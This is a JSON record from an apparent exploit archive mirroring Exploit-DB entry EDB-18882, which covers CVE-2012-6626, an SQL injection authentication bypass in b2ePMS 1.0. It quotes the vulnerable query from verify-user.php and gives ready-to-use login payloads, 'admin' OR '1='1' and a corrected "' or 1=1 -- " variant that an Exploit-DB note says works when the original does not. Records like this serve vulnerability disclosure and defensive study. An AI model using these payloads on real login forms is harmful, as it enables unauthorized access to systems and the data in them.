{"exploit":{"id":"EDB-18882","name":"b2ePms 1.0 - Authentication Bypass","description":"b2ePms 1.0 - Authentication Bypass","cves":["CVE-2012-6626"],"author":"Jean Pascal Pereira","published":"2012-05-15","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/18882","path":"exploits/php/webapps/18882.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-18882.txt","vulnerabilities":[{"id":"CVE-2012-6626","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in verify-user.php in b2ePMS 1.0 allows remote attackers to execute arbitrary SQL commands via the username field.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2012-6626","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2012-6626"},"updatedAt":"2024-08-06T21:36:01.468Z","retrievedAt":"2026-11-27T13:09:24.951Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-18882.png?v=2","url":"https://exploitbin.com/exploits/EDB-18882","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-18882/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-18882/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#################################################\nb2ePMS 1.0 Authentication Bypass Vulnerability\n#################################################\n\nDiscovered by: Jean Pascal Pereira <pereira@secbiz.de>\n\nVendor Information:\n\n\"b2ePMS stands for Browser to Email Phone Message System. It is intended to replace the standard\npaper/carbon phone message slips commonly used in offices, with the capability of sending the message\n via a web browser form directly to the recipients inbox.\"\n\nVendor URI: https://developer.berlios.de/projects/b2epms/\n\n#################################################\n# Exploit-DB Note\n# Loneferret\n# The provided PoC doesn't not work.\n# This does:\n# Username: \"' or 1=1 -- \"\n# Password: x\n\nIssue: SQL Injection, Authentication Bypass\n\nRisk level: High\n\n=> The remote attacker has the possibility to execute arbitrary SQL Code.\n\n=> The remote attacker is able to bypass the user authentication.\n\nIn verify-user.php, line 20:\n\n-------------------------------------\n\n$sql = mysql_query(\"SELECT * FROM b2epms_user WHERE username='$username' AND user_passwd='$admin_passwd' AND activated='1' AND user_level='2'\");\n$login_check = mysql_num_rows($sql);\nif($login_check > 0){\n  while($row = mysql_fetch_array($sql)){\n  foreach( $row AS $key => $val ){\n    $$key = stripslashes( $val );\n  }\n    // Register session variables!\n    session_register('userid');\n    $_SESSION['userid'] = $user_level;\n    mysql_query(\"UPDATE b2epms_user SET login_date=now() WHERE userid='$userid'\"); $url = \"Location: admin.php\";\n    header($url);\n  }\n}\n\n-------------------------------------\n\nExploit / Proof Of Concept:\n\nPerform a login with the following data:\n\nUsername: admin' OR '1='1\nPassword: x\n\n-------------------------------------\n\n#################################################","sha256":"d3ae7a17a1ab9ba9b400a41c01909f67394be08ba669c1440bc98ddacac27711","bytes":1789,"fetchedAt":"2026-11-27T13:09:19.810Z","encoding":"utf-8 (display only; download retains original bytes)"}